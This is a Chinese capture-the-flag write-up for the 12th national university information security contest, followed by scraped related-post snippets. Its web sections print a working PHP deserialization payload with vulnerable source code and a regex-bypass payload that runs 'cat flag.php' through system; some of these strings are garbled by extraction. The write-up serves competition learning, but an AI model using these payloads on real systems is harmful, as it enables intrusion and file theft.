第十二届全国大学生信息安全竞赛部分WriteUp

  • 0x00 签到题
  • 0x01 SALEAE
  • 0x02 24c
  • 0x03 easyG0
  • 0x04 JustSoso
  • 0x05 puzzles
  • 0x06 usbasp
  • 0x07 warmup
  • 0x08 love_math
  • 0x09 bbvvmm
  • 0x10 baby_pwn

0x00 签到题

操作内容:
下载链接,解压并运行软件,对准两个聚焦圆圈,控制台回车输出 flag

0x01 SALEAE

操作内容:
打开发现是.logicdata(逻辑分析仪数据文件),使用 Logic 软件打开,根据时钟频率以及通
讯方式擦侧是属于 SPI 通讯,解析得到 flag

flag 竖着读

0x02 24c

操作内容:
同上题方式,打开,发现又是 IIC 协议,解析发现结果


将结果导出为文本格式


尝试拼接发现有问题,然后想到题目名是 24c,想到 IIC 的 EEPROM 存储芯片 24c02,又联
想到是 IIC 协议,想起 IIC 操作 24c02 的时候要先发送开始操作的地址,以及 NAK 这个停
止符(想到可能是要修改内容二中断接收)。于是想到\t 不是字符,其对应的 ASCII 是 9,也
就是从第 9 号位‘9’开始将”9e”替换为 ac,与之前的部分进行拼接然后得到结果。

0x03 easyG0

操作内容:
下载链接,经分析,需要输入一些字符串,所以打开 ida
地址 0x495168
搜索 please,然后交叉引用返回到


,然后用 gdb 在 0x495168 处下断点,单步调试,直到让输入一些字符串,这个地方随便输,
就行,然后一直单步执行,会到两个字符串比较的地方,这时可以在栈空间看见 flag,如下:

0x04 JustSoso

操作内容:
在网页源代码中发现提示
php 任意文件包含,下面是 base64 转文本的结果
index.php

<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){die('hack attacked!!!');
}
@include($file);
if(isset($payload)){$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){if (preg_match("/flag/",$value)) {die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

hint.php

<?php
class Handle{private $handle;
public function __wakeup(){foreach(get_object_vars($this) as $k => $v) {$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {$this->handle = $handle;
}
public function __destruct(){$this->handle->getFlag();
}
}
class Flag{public $file;
public $token;
public $token_flag;
function __construct($file){$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{if(isset($this->file)){echo @highlight_file($this->file,true);
}
}
}
}
?>

我们使用 ///,可以绕过 url = parse_url(SERVER[′REQUESTURI′]);parsestr(_SERVER['REQUEST_URI']); parse_str(S​ERVER[′REQUESTU​RI′]);parses​tr(url[‘query’],$query);
然后 使用%00 绕过 wakeup;
最后使用=& 链接 指向同一地址 使得 token = token_flag 即可。

使用 payload:
http://cca41b4bf4704d57b697729ee8950f4c509984bceeb5401c.changame.ichu
nqiu.com///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:%
22%00Handle%00handle%22;O:4:%22Flag%22:3:{s:4:%22file%22;s:8:%22flag.
php%22;s:5:%22token%22;N;s:10:%22token_flag%22;R:4;}}

0x05 puzzles

操作内容:

Question0 解四元一次方程:

Question1 根据规律可以知道 part1 为 26365399
Question2 求极限函数可知 part2 为 7700
Question3 根据感应电动势计算公式可知 part3 为 18640
Question4 计算立体图形体积,三重积分可得 part4 为 40320

将所得数字进行十六进制转换,得到 flag

0x06 usbasp

操作内容:
下载链接,将文件拖进逻辑分析仪中,并设置相关参数,如图:

拉到最后就可以看到 flag 了,flag 竖着读

0x07 warmup

操作内容:
下载链接,分析代码文件,确定是 AES 题目。通过分析,可以联想到 DDCTF 中 AES ECB 加
解密还原(安全通信)类似于本题目,唯一的区别就是 ECB 换成了另外的 CRT,解题的思
路和关键点在可控密钥长度,这里选择逐位爆破 flag,经过测试可以知道逐位爆破 flag,
每次 16 位,重复 3 位即可;
(类似 AES ECB 题目链接:https://www.cnblogs.com/kagari/p/8889412.html)
根据分析撸出脚本,如图:

0x08 love_math

操作内容:
查看源代码发现 ajax 连接一个 calc.php 文件,访问这个文件


访问之后,给出源代码
发现需要绕过两处正则,经过半天的测试,发现可以通过这种方法绕过正则列目录exp=baseconvert;exp=base_convert;exp=basec​onvert;sin=exp(1751504350,10,36);exp(1751504350,10,36);exp(1751504350,10,36);tan=exp(784,10,36);exp(784,10,36);exp(784,10,36);sin($tan);

然后就是想尽办法读取 flag.php 的内容,一开始是觉得在这个地方想办法绕过特殊字符,
绕过空格使用 cat 读取文件,到下午之后发现其他的利用方式
base_convert 可以进行进制转化并且在白名单中 37907361743-hex2bin
dechex 可以将十进制转十六进制,1598506324-5f474554
后面就是按照正则绕就 OK 了。
payload:/calc.php?c=pi=baseconvert(37907361743,10,36)(dechex(1598506324));(pi=base_convert(37907361743,10,36)(dechex(1598506324)); (pi=basec​onvert(37907361743,10,36)(dechex(1598506324));(pi)1((pi){1}((pi)1(($pi){2})&1=system&2=cat%20flag.php

flag 在网页源代码中,

进制转换可以通过这个网站在线转换: https://tool.lu/hexconvert/

0x09 bbvvmm

操作内容:
下载链接,解压文件,直接拖进 UE,发现用户名和密码,如图所示:
初看感觉应该是正常的 base64,但是在线解密后,发现不对,测试一下,感觉应该是畸形
base64 解码,如下图:

可以知道用户名经过了 rsm 加密,然后是 base64 解码,


最后可以得到用户名为:badrer12
此时密码还没有得到,lda 进行反编译一下,单流程有几百个,ida 远程进行动态调试,在
要输入的数据上下断点,然后查看内存,发现

密码得到为:xyz{|};
输入用户名和密码,使用 pwntools,运行脚本,

得到 flag

0x10 baby_pwn

操作内容:
下载链接,解压文件,放入 ida,分析一波

如下图可以发现,除了明显的栈溢出,没有可以用来 leak 内存布局,bypass
aslr 的函数,

反编译 read,可以看出有很明显的栈溢出漏洞,但是只有一个
read,没有可以用来 leak 的函数,所以利用 ret2dl 的解法
关键思路是通过栈溢出来调用 read 函数在 bss 段写我们需要的结构
和/bin/sh,然后使用 dl_resolve_call 去调用 system,得到 shell
脚本编写,如下图:

反编译 read,可以看出有很明显的栈溢出漏洞,但是只有一个
read,没有可以用来 leak 的函数,所以利用 ret2dl 的解法
关键思路是通过栈溢出来调用 read 函数在 bss 段写我们需要的结构
和/bin/sh,然后使用 dl_resolve_call 去调用 system,得到 shell
脚本编写,如下图:


利用 roputils 工具来实现 ret2dl(在 python 中算模块)
直接在 github 上下载 roputils 包:
https://codeload.github.com/inaz2/roputils/zip/master
运行脚本,得到 flag

2019第十二届全国大学生信息安全竞赛部分WriteUp相关推荐

  1. 计算机弹奏卡布奇诺,计算机学院信息安全技术协会卡布奇诺加糖队在第十二届全国大学生信息安全竞赛中喜获佳绩...

    7月27号,第十二届全国大学生信息安全竞赛--创新实践能力赛在电子科技大学圆满结束.我校信息安全技术协会卡布奇诺实验室派出2支队伍参加本次竞赛,并在指导老师刘朝晖的精心指导下获得全国三等奖的好成绩. ...

  2. 第十二届全国大学生信息安全竞赛-RE部分WP(目前前两题,待更)

    RE2-bbvvmm 分析 拖入IDA,题目流程基本呈现,直接看到最后的check 这里即,用户名和密码都在此验证.密码最终得到的结果在ptr+25,而用户名得到的结果,像是经过一系列字符处理,最终与 ...

  3. 第十二届全国大学生信息安全竞赛总结与反思

    虽然国赛已经过去有一段时间了,但是一直没有时间对题目进行总结反思,利用暑假这段时间,开始进行一下这个工作. 首先是MISC,这次的题目让我猝不及防,因为题目需要用到Saleae Logic进行数据分析 ...

  4. 中国电子计算机大学竞赛安徽分赛,我院学子喜获第十二届全国大学生数学竞赛安徽赛区15项一等奖...

    本网讯近日,第十二届全国大学生数学竞赛安徽赛区结果正式揭晓,我校数学与统计学院.电子信息与电气工程学院.物理与材料工程学院.计算机学院共72名学生获安徽赛区奖项,包括安徽省一等奖15项,二等奖15项, ...

  5. 第十二届全国大学生数学竞赛非数类试题

    第十二届全国大学生数学竞赛非数类试题 声明 本人是菜鸡,此贴非干货贴.只是作为自己比赛的一个记录和总结.(大佬们请不要diss我啊啊啊啊啊) 我开始准备的时间是比赛开始前两个星期,因为今年疫情比赛推延 ...

  6. 第十二届全国大学生数学竞赛A类真题+答案+详细讲解+知识点总结

    (无第六题) 自己写的第十二届A类的答案(有参考正确答案),最好配套讲解视频理解,搜B站:认真的小庄ʕ •ᴥ•ʔ欢迎关注! www.bilibili.com/video/BV1Xd4y1c7fu/?s ...

  7. 2019年第十二届全国大学生信息安全实践创新赛线上赛Writeup

    本文章来自https://www.cnblogs.com/iAmSoScArEd/p/10780242.html  未经允许不得转载! 1.MISC-签到 下载附件后,看到readme.txt打开后提 ...

  8. 大学生HTML5竞赛网站,2019全国大学生信息安全竞赛Web Writeup

    这次web题真切得让我感受到了我得辣鸡 顿时被打了鸡血 最后只做出来一题,但是有两道题都是马上要出来了最后时间不够 ,这里总结一下 web1 JustSoso 打开之后是这样得 右键查看源码 提示需要 ...

  9. 2019全国大学生信息安全竞赛初赛writeup

    part_des 题目描述 Round n part_encode-> 0x92d915250119e12b Key map -> 0xe0be661032d5f0b676f82095e4 ...

  10. 2020年第十二届全国大学生数学竞赛初赛(非数学)大题2-3题解析

    求解思路: 该题考的是极限的求解,求的是含数列的极限,因此我们首先要将该数列的通项公式求出来,代进去就能化为标准的极限式,就可以进行求解了. 对于该数列,我们先对其变形,再通过递推找到通项公式. 解法 ...

最新文章

  1. 企业级自动化运维方案设计及Saltstack、Ansible等5种工具比较分析--云平台技术栈08...
  2. Linux中的MySql数据库远程连接
  3. 河南彩民中奖3亿5千万
  4. 哪个银行的大额存款门槛最低?5万能买大额存单吗?
  5. 用python进行多页数据爬取_Python Scrapy如何实现多页数据爬取?
  6. android:contentDescription 的用途
  7. Jenkins checkout的文件 , TortoiseSVN 无法提交。 问题已经解决啦!
  8. quartz 动态添加job_SpringBoot 集成Quartz发布、修改、暂停、删除定时任务
  9. 【代码笔记】Web-JavaScript-JavaScript 运算符
  10. 从yesno模型入门kaldi语音识别
  11. 计算机主机显示接口,一文了解电脑视频接口 看完彻底明白了
  12. 苹果输入法怎么换行_精选百度输入法皮肤|美美的几十款
  13. win7下安装网络共享打印机 hp LaserJet 1010
  14. Node.js学习6~nodejs报Error: Cannot find module ‘express‘
  15. 必看~与众不同、通俗易懂的lol版Java学习路线图
  16. 斯蒂夫乔布斯传札记:第六波
  17. 在意的越多,心理负担就越重
  18. 数据分析师1.4量化交易策略的回测方法和技巧
  19. ftp上传 防火墙的设置
  20. SSMS Sql Server 身份验证(设置用户名和密码)方式登录

热门文章

  1. 更换固态硬盘和机械硬盘以及重装系统
  2. 微信jsapi支付流程
  3. linux统计代码耗时函数,统计函数执行耗时
  4. HiWork发布1.7.0新版本——可开启频道公开链接,增加HiWork客服功能及集成应用麦客
  5. 深入理解Spring框架的作用
  6. Unity烘焙时UV Overlap的解决办法
  7. 在java中move是什么意思_move是什么意思
  8. Mqtt精髓系列之保留消息Retained Messages
  9. pyqt获得鼠标_PyQt5编程:鼠标事件
  10. mfc100u.dll丢失的解决方法